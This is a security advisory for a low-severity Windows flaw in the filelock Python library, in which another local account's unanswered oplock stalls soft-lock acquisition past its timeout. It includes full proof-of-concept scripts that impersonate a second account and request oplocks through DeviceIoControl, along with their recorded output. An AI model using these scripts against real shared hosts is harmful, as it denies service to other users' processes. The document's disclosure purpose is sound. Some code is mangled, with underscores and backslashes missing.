PT-2026-122418

Published

2026-10-23

·

Updated

2026-10-23

Description by

CVSS 3.1
2.5
Low
MetricsAV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.
Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancel check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L scores 2.5 (Low).
AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with run in executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.
Classification from the review: security, conditional on an unheld marker that another account can open.

Scope and preconditions

  • Platform and classes: Windows only. SoftFileLock, MarkerSoftFileLock, SoftFileLease, AsyncSoftFileLock and the other async soft locks, and FileLock after its ENOSYS fallback to a soft lock. WindowsFileLock opens its lock file on a separate code path that this advisory does not cover.
  • Marker access: the soft locks create the marker with os.open, which on Windows applies no more of mode than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
  • Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose lifetime has passed. While the holder keeps its handle, the request fails.
  • Holder behavior: the other account requests the oplock through an overlapped DeviceIoControl and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
  • What the lock user sees: SoftFileLock.acquire(timeout=1) returned Timeout after 10.02 s with the second account's handle. In the same-account probe os.open with O RDONLY was still running after 15 s and returned once the holder closed. The retry loop consults timeout, blocking=False and cancel check between attempts only. With AsyncSoftFileLock(run in executor=False) the event loop waits.
  • Stale break: break lock file renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
  • Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.

Affected code

Introduced

e35c3af "feat(soft): detect and break stale locks" (#476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with O CREAT | O EXCL and never opened an existing one. #476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILE COMPLETE IF OPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in read lock file with bfbfa76 (#548, 3.29.1) and the break moved into break lock file with d244c6d (#551, 3.29.2); the by-path calls stayed.

Mechanism

Each attempt of acquire first calls os.open(path, O WRONLY | O CREAT | O EXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. acquire then calls try break stale lock, which calls read lock file: os.lstat, then os.open(path, O RDONLY | O NOFOLLOW | O NONBLOCK). On Windows O NOFOLLOW and O NONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. check give up tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancel check by its length. Once the open returns, the attempt ends and check give up raises Timeout, because the deadline has passed.
A marker whose holder is gone takes the second path. break lock file renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.

Reproduction

The review's reproducers, quoted as received. oplock vm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplock semantics vm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #835 at 3e4c5ef, where read lock file and break lock file are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).
oplock vm.py
python
"""
Windows oplock checks beyond the lock-file open PR #835 changes: release() and the soft locks' marker read.

Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
 C:venvsrev4FScriptspython.exe oplock vm.py fltester '<password>' C:tmprev4F-oplock

[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
  WindowsFileLock. release closes its handle and then unlinks by path; an oplock granted in between makes the
  DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
  [1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
  marker through os.open, which waits for the acknowledgement, past timeout=1.

A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""

from  future  import annotations

import ctypes
import os
import subprocess
import sys
import threading
import time
from ctypes import wintypes

from filelock import FileLock, SoftFileLock, Timeout

user, password, base = sys.argv[1], sys.argv[2], sys.argv[3]
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
os.makedirs(base, exist ok=True)
subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture output=True)

advapi32 = ctypes.WinDLL("advapi32", use last error=True)
kernel32 = ctypes.WinDLL("kernel32", use last error=True)
advapi32.LogonUserW.argtypes = [
  wintypes.LPCWSTR,
  wintypes.LPCWSTR,
  wintypes.LPCWSTR,
  wintypes.DWORD,
  wintypes.DWORD,
  ctypes.POINTER(wintypes.HANDLE),
]
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
  wintypes.LPCWSTR,
  wintypes.DWORD,
  wintypes.DWORD,
  ctypes.c void p,
  wintypes.DWORD,
  wintypes.DWORD,
  wintypes.HANDLE,
]


class Overlapped(ctypes.Structure):
   fields = (
    ("Internal", ctypes.c void p),
    ("InternalHigh", ctypes.c void p),
    ("Offset", wintypes.DWORD),
    ("OffsetHigh", wintypes.DWORD),
    ("hEvent", wintypes.HANDLE),
  )


kernel32.DeviceIoControl.argtypes = [
  wintypes.HANDLE,
  wintypes.DWORD,
  ctypes.c void p,
  wintypes.DWORD,
  ctypes.c void p,
  wintypes.DWORD,
  ctypes.c void p,
  ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]

GENERIC READ = 0x80000000
SHARE ALL = 0x7
OPEN EXISTING = 3
FLAG OVERLAPPED = 0x40000000
INVALID HANDLE = wintypes.HANDLE(-1).value
FSCTL REQUEST OPLOCK LEVEL 1 = 0x00090000
ERROR IO PENDING = 997
hold = threading.Event()
real unlink = os.unlink


def impersonate() -> None:
  token = wintypes.HANDLE()
  if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
    raise ctypes.WinError(ctypes.get last error())
  if not advapi32.ImpersonateLoggedOnUser(token):
    raise ctypes.WinError(ctypes.get last error())


def request level1(path: str) -> tuple[int, Overlapped] | None:
  handle = kernel32.CreateFileW(path, GENERIC READ, SHARE ALL, None, OPEN EXISTING, FLAG OVERLAPPED, None)
  if handle == INVALID HANDLE:
    return None
  overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
  if (
    not kernel32.DeviceIoControl(handle, FSCTL REQUEST OPLOCK LEVEL 1, None, 0, None, 0, None, ctypes.byref(overlapped))
    and ctypes.get last error() == ERROR IO PENDING
  ):
    return handle, overlapped
  kernel32.CloseHandle(handle)
  kernel32.CloseHandle(overlapped.hEvent)
  return None


def drop(granted: tuple[int, Overlapped]) -> None:
  handle, overlapped = granted
  kernel32.CloseHandle(handle)
  kernel32.WaitForSingleObject(overlapped.hEvent, 5000)
  kernel32.CloseHandle(overlapped.hEvent)


def release under oplock requests(label: str, lock path: str, cycles: int) -> bool:
  stop = threading.Event()
  granted box: list[tuple[int, Overlapped]] = []

  def spinner() -> None:
    impersonate()
    while not stop.is set():
      if (granted := request level1(lock path)) is not None:
        granted box.append(granted)
        hold.wait()
        return

  releasing = threading.Event()
  release durations: list[float] = []

  def owner() -> None:
    # thread local locks release only on the acquiring thread, so acquire and release stay on this one
    for  in range(cycles):
      lock = FileLock(lock path, is singleton=False)
      lock.acquire(timeout=5)
      started = time.monotonic()
      releasing.set()
      lock.release()
      releasing.clear()
      release durations.append(time.monotonic() - started)
      if granted box:
        return

  holder = threading.Thread(target=spinner, daemon=True)
  holder.start()
  owner thread = threading.Thread(target=owner, daemon=True)
  owner thread.start()
  owner thread.join(60)
  stalled = owner thread.is alive() and releasing.is set()
  stop.set()
  longest = max(release durations, default=0.0) * 1000
  print(f" {label}: oplock granted: {bool(granted box)}; cycles run: {len(release durations)}; longest release: {longest:.1f} ms")
  if stalled:
    print(" release() still running after 60 s while the oplock holder has not answered the break")
    if granted box:
      drop(granted box[0])
    owner thread.join(10)
    print(f" release() returned after the holder closed its handle: {not owner thread.is alive()}")
  return stalled


print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")
stalled native = release under oplock requests("natural", os.path.join(base, "native.lock"), 500)

print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")


def slow unlink(path: str, *, dir fd: int | None = None) -> None:
  time.sleep(0.2)
  real unlink(path, dir fd=dir fd)


os.unlink = slow unlink
stalled scheduled = release under oplock requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20)
os.unlink = real unlink

print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")
marker = os.path.join(base, "soft.lock")
holder = SoftFileLock(marker, is singleton=False)
holder.acquire()
holder fd = holder. context.lock file fd # noqa: SLF001
os.close(holder fd) # the marker stays with a live PID, as after a holder that lost only its handle
impersonate done = threading.Event()
granted soft: list[tuple[int, Overlapped]] = []


def take soft oplock() -> None:
  impersonate()
  if (granted := request level1(marker)) is not None:
    granted soft.append(granted)
  impersonate done.set()
  hold.wait()


threading.Thread(target=take soft oplock, daemon=True).start()
impersonate done.wait(5)
print(f" oplock granted: {bool(granted soft)}")
outcome = ["still running after 25 s"]


def contend() -> None:
  started = time.monotonic()
  try:
    SoftFileLock(marker, is singleton=False).acquire(timeout=1)
    outcome[0] = f"acquired after {time.monotonic() - started:.2f} s"
  except Timeout:
    outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s"
  except OSError as error:
    outcome[0] = f"{type(error). name } after {time.monotonic() - started:.2f} s: {error}"


contender = threading.Thread(target=contend, daemon=True)
contender.start()
contender.join(25)
print(f" contender: {outcome[0]}")
soft stalled = "still running" in outcome[0]
if granted soft:
  drop(granted soft[0])
  contender.join(10)
  print(f" after the holder closed: {outcome[0]}")
hold.set()
print("STALLS" if stalled native or stalled scheduled or soft stalled else "BOUNDED")
Recorded output of section [2]:
[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
 oplock granted: True
 contender: Timeout after 10.02 s
 after the holder closed: Timeout after 10.02 s
oplock semantics vm.py
python
"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.

Run on the VM: C:venvsrev4FScriptspython.exe oplock semantics vm.py C:tmprev4F-sem
"""

from  future  import annotations

import ctypes
import os
import sys
import threading
import time
from ctypes import wintypes

base = sys.argv[1]
os.makedirs(base, exist ok=True)
kernel32 = ctypes.WinDLL("kernel32", use last error=True)
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
  wintypes.LPCWSTR,
  wintypes.DWORD,
  wintypes.DWORD,
  ctypes.c void p,
  wintypes.DWORD,
  wintypes.DWORD,
  wintypes.HANDLE,
]


class Overlapped(ctypes.Structure):
   fields = (
    ("Internal", ctypes.c void p),
    ("InternalHigh", ctypes.c void p),
    ("Offset", wintypes.DWORD),
    ("OffsetHigh", wintypes.DWORD),
    ("hEvent", wintypes.HANDLE),
  )


kernel32.DeviceIoControl.argtypes = [
  wintypes.HANDLE,
  wintypes.DWORD,
  ctypes.c void p,
  wintypes.DWORD,
  ctypes.c void p,
  wintypes.DWORD,
  ctypes.c void p,
  ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC READ, GENERIC WRITE = 0x80000000, 0x40000000
SHARE ALL, OPEN EXISTING, FLAG OVERLAPPED = 0x7, 3, 0x40000000
INVALID HANDLE = wintypes.HANDLE(-1).value
LEVELS = {"level1": 0x00090000, "batch": 0x00090008}


def take(path: str, level: str) -> tuple[int, Overlapped]:
  handle = kernel32.CreateFileW(path, GENERIC READ, SHARE ALL, None, OPEN EXISTING, FLAG OVERLAPPED, None)
  overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
  pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped))
  assert pending and ctypes.get last error() == 997, ctypes.get last error()
  return handle, overlapped


def drop(granted: tuple[int, Overlapped]) -> None:
  kernel32.CloseHandle(granted[0])
  kernel32.WaitForSingleObject(granted[1].hEvent, 5000)
  kernel32.CloseHandle(granted[1].hEvent)


def timed(label: str, operation) -> None: # noqa: ANN001
  done = threading.Event()
  result = ["still running after 15 s"]

  def run() -> None:
    started = time.monotonic()
    try:
      operation()
      result[0] = f"returned after {(time.monotonic() - started) * 1000:.1f} ms"
    except OSError as error:
      result[0] = f"{type(error). name } after {(time.monotonic() - started) * 1000:.1f} ms: {error}"
    done.set()

  threading.Thread(target=run, daemon=True).start()
  done.wait(15)
  print(f" {label}: {result[0]}")
  return done


def open read(path: str) -> None:
  os.close(os.open(path, os.O RDONLY | os.O BINARY))


def open write(path: str) -> None:
  os.close(os.open(path, os.O RDWR | os.O BINARY))


def create new(path: str) -> None:
  os.close(os.open(path, os.O WRONLY | os.O CREAT | os.O EXCL | os.O BINARY))


for level in LEVELS:
  for label, operation, consumes in (
    ("os.open O RDONLY", open read, False),
    ("os.open O RDWR", open write, False),
    ("os.open O CREAT|O EXCL on the existing file", create new, False),
    ("os.utime by path", lambda p: os.utime(p, None), False),
    ("os.rename", lambda p: os.rename(p, p + ".moved"), True),
    ("os.unlink", os.unlink, True),
  ):
    path = os.path.join(base, f"{level}-{label.replace(' ', ' ').replace('|', '')}.lock")
    with open(path, "w", encoding="utf-8") as handle:
      handle.write("1
host
")
    granted = take(path, level)
    print(f"{level}, {label}")
    done = timed(label, lambda p=path, op=operation: op(p))
    drop(granted)
    done.wait(5)
    print(f"  after the holder closed: {'done' if done.is set() else 'still running'}")
The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, os.open(path, os.O RDONLY), os.rename and os.unlink were still running after 15 s and returned only once the holder closed its handle; os.utime by path and a failed O CREAT | O EXCL create returned at once.

Failure sequence

mermaid
sequenceDiagram
  participant A as other local account
  participant M as soft.lock marker, no handle open
  participant L as lock user: SoftFileLock(path).acquire(timeout=1)
  participant W as Windows (NTFS)
  A->>W: CreateFileW(soft.lock, GENERIC READ, share read/write/delete, FILE FLAG OVERLAPPED)
  A->>W: DeviceIoControl(FSCTL REQUEST OPLOCK LEVEL 1), granted, break never acknowledged
  L->>W: os.open(soft.lock, O CREAT|O EXCL) fails with EEXIST at once
  L->>W: os.lstat(soft.lock) regular file
  rect rgb(255, 214, 214)
    L->>W: os.open(soft.lock, O RDONLY) inside read lock file
    Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel check are not consulted
    W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe)
  end
  L->>L: check give up: past the deadline, raise Timeout after 10.02 s
  Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken

Evidence

Section [2] of oplock vm.py acquired soft.lock as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (oplock granted: True), and ran SoftFileLock(marker, is singleton=False).acquire(timeout=1) on a thread. The call returned Timeout after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section [1a] of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (oplock semantics vm.py) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and os.utime by path return at once, so the wait is in the read and the break, not in the create attempt.

Impact

Each acquire() of a soft lock that finds a marker another account holds an oplock on runs past its timeout, blocking=False and cancel check until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With AsyncSoftFileLock(run in executor=False) the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and FileLock is a soft lock on builds without fcntl and after its ENOSYS fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.

Workarounds

  • Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, SYSTEM and Administrators granted (icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"). mode does not do this on Windows.
  • Run AsyncSoftFileLock with the default executor rather than run in executor=False, so that only a worker thread waits.
  • No timeout, blocking or cancel check value bounds the wait.

Patched version

4.2.1.

Credits

Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).
  • 2026-10-15 23:08 UTC: report received (36 findings; this defect is not among them)
  • 2026-10-16 01:16 UTC: fix PR #835 opened, for the Linux lease finding of GHSA-7hmp-gf99-57hx
  • 2026-10-16 08:25 UTC: finding identified in the maintainers' review of PR #835
  • 2026-10-16 22:43 UTC: draft advisory created
Exploitability
Fix
Impacts
Vendors
Affected products
Weakness enumeration
Related identifiers
GHSA-567Q-5QVW-PF92
Found an issue in the description? Have something to add? Feel free to write us 👾